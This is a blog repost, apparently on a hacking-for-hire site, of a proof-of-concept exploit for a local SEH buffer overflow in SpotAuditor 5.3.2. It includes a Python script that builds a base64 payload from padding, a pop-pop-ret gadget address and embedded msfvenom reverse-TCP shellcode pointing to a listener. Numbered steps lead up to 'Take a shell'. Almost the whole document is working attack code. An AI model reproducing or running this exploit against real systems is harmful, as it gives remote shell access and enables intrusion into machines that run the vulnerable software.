Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86388028

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)
# Exploit Author: Kirill Nikolaev
# Date: 2019-12-06
# Vulnerable Software: SpotAuditor
# Vendor Homepage: http://www.nsauditor.com/
# Version: 5.3.2
# Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. Download and install SpotAuditor
# 2. Change shellcode in python script to yours
# 3. Generate payload with python script
# 4. Run the software "Tools -> Base64 Encrypted Password
# 5. Take a shell
# Original DOS exploit https://www.exploit-db.com/exploits/47719

#!/usr/bin/env python

import base64
print ("[+] Thank you for choosing our company")
print ("[+] Local Buffer Overflow (SEH) in SpotAuditor 5.3.2")
print ("[+] Created By Kirill Nikolaev")
print ("[+] Generate payload,check, that you take your shellcode")
print ("")
head='A'*1024
#eb0c-jmp across a few bytes with seh address
jmp_across='\x41\x41\xeb\x0c'
#0x61e0b194 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.15.2 (C:\Program Files\Nsasoft\SpotAuditor\sqlite3.dll)
seh='\x94\xb1\xe0\x61'
header_for_shellcode='\x41'*10
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.58.1 LPORT=4444 -f py EXITFUNC=thread -b '\x00'
buf = ""
buf += b"\xbd\x7a\xfe\x84\xdd\xdb\xc9\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x0e\x03\x12\xf0\x66"
buf += b"\x28\x1e\xe4\xe5\xd3\xde\xf5\x89\x5a\x3b\xc4\x89\x39"
buf += b"\x48\x77\x3a\x49\x1c\x74\xb1\x1f\xb4\x0f\xb7\xb7\xbb"
buf += b"\xb8\x72\xee\xf2\x39\x2e\xd2\x95\xb9\x2d\x07\x75\x83"
buf += b"\xfd\x5a\x74\xc4\xe0\x97\x24\x9d\x6f\x05\xd8\xaa\x3a"
buf += b"\x96\x53\xe0\xab\x9e\x80\xb1\xca\x8f\x17\xc9\x94\x0f"
buf += b"\x96\x1e\xad\x19\x80\x43\x88\xd0\x3b\xb7\x66\xe3\xed"
buf += b"\x89\x87\x48\xd0\x25\x7a\x90\x15\x81\x65\xe7\x6f\xf1"
buf += b"\x18\xf0\xb4\x8b\xc6\x75\x2e\x2b\x8c\x2e\x8a\xcd\x41"
buf += b"\xa8\x59\xc1\x2e\xbe\x05\xc6\xb1\x13\x3e\xf2\x3a\x92"
buf += b"\x90\x72\x78\xb1\x34\xde\xda\xd8\x6d\xba\x8d\xe5\x6d"
buf += b"\x65\x71\x40\xe6\x88\x66\xf9\xa5\xc4\x4b\x30\x55\x15"
buf += b"\xc4\x43\x26\x27\x4b\xf8\xa0\x0b\x04\x26\x37\x6b\x3f"
buf += b"\x9e\xa7\x92\xc0\xdf\xee\x50\x94\x8f\x98\x71\x95\x5b"
buf += b"\x58\x7d\x40\xcb\x08\xd1\x3b\xac\xf8\x91\xeb\x44\x12"
buf += b"\x1e\xd3\x75\x1d\xf4\x7c\x1f\xe4\x9f\x42\x48\xdc\x5e"
buf += b"\x2b\x8b\x20\x70\xf7\x02\xc6\x18\x17\x43\x51\xb5\x8e"
buf += b"\xce\x29\x24\x4e\xc5\x54\x66\xc4\xea\xa9\x29\x2d\x86"
buf += b"\xb9\xde\xdd\xdd\xe3\x49\xe1\xcb\x8b\x16\x70\x90\x4b"
buf += b"\x50\x69\x0f\x1c\x35\x5f\x46\xc8\xab\xc6\xf0\xee\x31"
buf += b"\x9e\x3b\xaa\xed\x63\xc5\x33\x63\xdf\xe1\x23\xbd\xe0"
buf += b"\xad\x17\x11\xb7\x7b\xc1\xd7\x61\xca\xbb\x81\xde\x84"
buf += b"\x2b\x57\x2d\x17\x2d\x58\x78\xe1\xd1\xe9\xd5\xb4\xee"
buf += b"\xc6\xb1\x30\x97\x3a\x22\xbe\x42\xff\x42\x5d\x46\x0a"
buf += b"\xeb\xf8\x03\xb7\x76\xfb\xfe\xf4\x8e\x78\x0a\x85\x74"
buf += b"\x60\x7f\x80\x31\x26\x6c\xf8\x2a\xc3\x92\xaf\x4b\xc6"
tail='B'*(5000-1028-4-10-len(buf))
shellcode=head+jmp_across+seh+header_for_shellcode+buf
print (base64.b64encode(shellcode))


--
Best regards,
Kirill Nikolaev
Penetration Tester